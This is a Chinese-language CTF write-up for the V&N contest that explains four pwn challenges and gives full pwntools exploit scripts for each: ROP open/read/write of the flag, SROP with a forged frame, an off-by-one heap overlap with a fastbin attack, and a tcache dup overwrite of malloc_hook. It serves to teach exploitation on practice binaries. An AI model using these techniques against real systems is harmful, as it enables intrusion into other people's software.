V&N招新赛writeup
参考链接:https://www.lhyerror404.cn/2020/03/01/vn-%e8%80%83%e6%a0%b8%e8%b5%9b-writeup/
warmup
题目首先给了puts函数的地址,可得出libc基址,比赛的时候老想着用栈迁移,但stack_addr是随机的,难度比较大。赛后看了小蓝师傅的博客,又学到了新姿势,返回地址覆盖成ret之后,执行两次ret,刚好返回到第一次输入的地方。然后进行ROP,这题用了prtctl函数把execve禁了,可以用open(flag),read(flag,libc_addr+0x3C6500,0x40),write(1,flag,0x40)获取到flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * import sys context.log_level = 'debug'
if sys.argv[1]=="l": p=process('./vn_pwn_warmup') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p=remote('vn.node3.buuoj.cn',52275) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./vn_pwn_warmup') p.recvuntil("gift: 0x")
puts_addr=int(p.recv(12),16) info(hex(puts_addr))
libc_addr=puts_addr-libc.sym['puts'] info(hex(libc_addr))
p.recvuntil('Input something: ') pop_rdi=0x21102 pop_rsi=0x202e8 pop_rax=0x33544 pop_rdx=0x1b92 syscall_ret=0xbc375 ret=0x937 payload = p64(libc_addr+pop_rdi)+p64(0)+p64(libc_addr+pop_rsi)+p64(libc_addr+0x3C6500)+p64(libc_addr+pop_rdx)+p64(0x40)+p64(libc_addr+libc.sym['read']) payload += p64(libc_addr+pop_rdi)+p64(libc_addr+0x3C6500)+p64(libc_addr+pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open']) payload += p64(libc_addr+pop_rdi)+p64(3)+p64(libc_addr+pop_rsi)+p64(libc_addr+0x3C6600)+p64(libc_addr+pop_rdx)+p64(0x40)+p64(libc_addr+libc.sym['read']) payload += p64(libc_addr+pop_rdi)+p64(1)+p64(libc_addr+pop_rsi)+p64(libc_addr+0x3C6600)+p64(libc_addr+pop_rdx)+p64(0x40)+p64(libc_addr+libc.sym['write']) p.send(payload)
p.recvuntil('name?') payload='a'*0x70+p64(0)+p64(libc_addr+ret) p.send(payload) sleep(0.1) p.send('flag\x00\x00\n') print p.recv() p.close()
|
babypwn
SROP参考:https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/#srop
这道题还是借鉴小蓝师傅的做法
程序调用了syscall(15,&buf),当系统调用号为15时,程序会调用_rt_sigreturn并将我们的输入作为frame传入。然后就可以伪造frame,利用SROP执行read,在libc + 0x3C6500的rw-段布置ROP chain,并返回到其位置执行ORW攻击,程序开启了Sandbox不能执行execve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| seccomp-tools dump ./vn_pwn_babypwn_1 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0015 0006: 0x15 0x08 0x00 0x0000000a if (A == mprotect) goto 0015 0007: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0015 0008: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0015 0009: 0x15 0x05 0x00 0x00000031 if (A == bind) goto 0015 0010: 0x15 0x04 0x00 0x00000032 if (A == listen) goto 0015 0011: 0x15 0x03 0x00 0x00000038 if (A == clone) goto 0015 0012: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0015 0013: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0015 0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0015: 0x06 0x00 0x00 0x00000000 return KILL
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import * import sys context.log_level='debug' context.arch='amd64'
vn_pwn_babypwn_1=ELF('./vn_pwn_babypwn_1', checksec = False)
if context.arch == 'amd64': libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False) elif context.arch == 'i386': try: libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False) except: libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null): global libc if args['REMOTE']: if other_libc is not null: libc = ELF("./", checksec = False) return remote(sys.argv[1], sys.argv[2]) else: return process("./vn_pwn_babypwn_1")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False): sh.recvuntil(start_string) if int_mode : return_address=int(sh.recvuntil(end_string).strip(end_string),16) elif context.arch == 'amd64': return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00')) else: return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00')) log.success(info+str(hex(return_address+offset))) return return_address+offset
def get_flag(sh): sh.sendline('cat /flag') return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False): gdb.attach(sh) if stop : raw_input()
if __name__ == "__main__": sh = get_sh() get_gdb(sh) libc.address = get_address(sh,'The libc base address is ','Here is my gift: 0x','\n',-libc.symbols['puts'],True) sh.recvuntil('Please input magic message: ') fake_frame = p64(0) * 12 fake_frame += p64(0) fake_frame += p64(0) fake_frame += p64(0) fake_frame += p64(0) fake_frame += p64(libc.address + 0x3C6500 - 0x10) fake_frame += p64(0) fake_frame += p64(0x100) fake_frame += p64(libc.address + 0x3C6500) fake_frame += p64(libc.symbols['syscall']) fake_frame += p64(0) fake_frame += p64(0x33) fake_frame += p64(0) * 7 sh.send(fake_frame) ROP_chain = '/flag\x00\x00\x00' ROP_chain += p64(0) ROP_chain += p64(libc.address + 0x0000000000021102) ROP_chain += p64(libc.address + 0x3C6500 - 0x10) ROP_chain += p64(libc.address + 0x00000000000202e8) ROP_chain += p64(0) ROP_chain += p64(libc.symbols['open']) ROP_chain += p64(libc.address + 0x0000000000021102) ROP_chain += p64(3) ROP_chain += p64(libc.address + 0x00000000000202e8) ROP_chain += p64(libc.address + 0x3C6700) ROP_chain += p64(libc.address + 0x0000000000001b92) ROP_chain += p64(0x100) ROP_chain += p64(libc.symbols['read']) ROP_chain += p64(libc.address + 0x0000000000021102) ROP_chain += p64(1) ROP_chain += p64(libc.address + 0x00000000000202e8) ROP_chain += p64(libc.address + 0x3C6700) ROP_chain += p64(libc.address + 0x0000000000001b92) ROP_chain += p64(0x100) ROP_chain += p64(libc.symbols['write']) sh.send(ROP_chain) print sh.recv()
|
simpleHeap
off-by-one漏洞,利用堆块重叠修改下一个堆块的size,造成overlap,可leak出libc_addr,再利用overlap进行fastbin attack,修改malloc_hook为one_gadget。但是此处所有的one_gadget条件均不满足,因此需要利用realloc函数调整栈帧。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * import sys
if sys.argv[1]=="l": p=process('./vn_pwn_simpleHeap') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p=remote('vn.node3.buuoj.cn',52145) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
e=ELF('./vn_pwn_simpleHeap') def show(index): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('?') p.sendline(str(index))
def add(lenght,cont): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('?') p.sendline(str(lenght)) p.recvuntil(':') p.send(cont) def edit(index,cont): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('?') p.sendline(str(index)) p.recvuntil(':') p.send(cont) def delete(num): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('?') p.sendline(str(num))
add(0x18,'\x00') add(0x58,'\x00') add(0x68,'\x00') add(0x10,'\x00')
edit(0,'\x00'*0x18+'\xd1') delete(1)
add(0x10,'A') show(1) libc_base = u64(p.recv(6).ljust(8,'\x00')) -0x3c4c41 print hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook'] one_gadget = libc_base + 0x4526a realloc = libc_base + libc.sym['__libc_realloc']
delete(2)
add(0x50,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))
add(0x68,'\x00') add(0x68,'\x00'*11+p64(one_gadget)+p64(realloc+14))
p.sendlineafter('choice: ','1') p.sendlineafter('size?',str(10))
p.interactive()
|
easy_heap
ubuntu18.04的uaf漏洞,有tcache机制,限制了free的次数为3,申请一个0x88的堆块释放两次,可以先利用Tcache dup泄露Heap address,然后再申请劫持Tcache structure,向任意地址读写,向malloc_hook写one_gadget完成利用,但是此处所有的one_gadget条件均不满足,因此需要利用realloc函数调整栈帧才能利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import *
context.terminal = ['tmux', 'splitw', '-h'] def dbg(address=0): if address==0: gdb.attach(p) pause() else: if address > 0xfffff: script="b *{:#x}\nc\n".format(address) else: script="b *$rebase({:#x})\nc\n".format(address) gdb.attach(p, script)
def add(size): p.sendlineafter('choice: ','1') p.sendlineafter('size?',str(size))
def edit(idx,content): p.sendlineafter('choice: ','2') p.sendlineafter('idx?',str(idx)) p.sendafter('content:',content)
def show(idx): p.sendlineafter('choice: ','3') p.sendlineafter('idx?',str(idx))
def free(idx): p.sendlineafter('choice: ','4') p.sendlineafter('idx?',str(idx))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) p = process('vn_pwn_easyTHeap')
add(0x88) add(0x88) free(0) free(0) show(0)
heap_addr=u64(p.recv(6).ljust(8,'\x00')) success('{} => {:#x}'.format('heap_addr',heap_addr)) add(0x88) edit(2,p64(heap_addr-0x250))
add(0x88) add(0x88) edit(4,'\x07'*8)
free(0) show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3ebca0 success('{} => {:#x}'.format('libc_base',libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] system = libc_base + libc.sym['system'] one_gadget = libc_base + 0x4f322
realloc = libc_base + libc.sym['__libc_realloc']
edit(4,'\x07'*8+p64(0)*12+p64(malloc_hook-0x8))
add(0x68) edit(5,p64(one_gadget)+p64(realloc+8))
add(0x66)
p.interactive()
|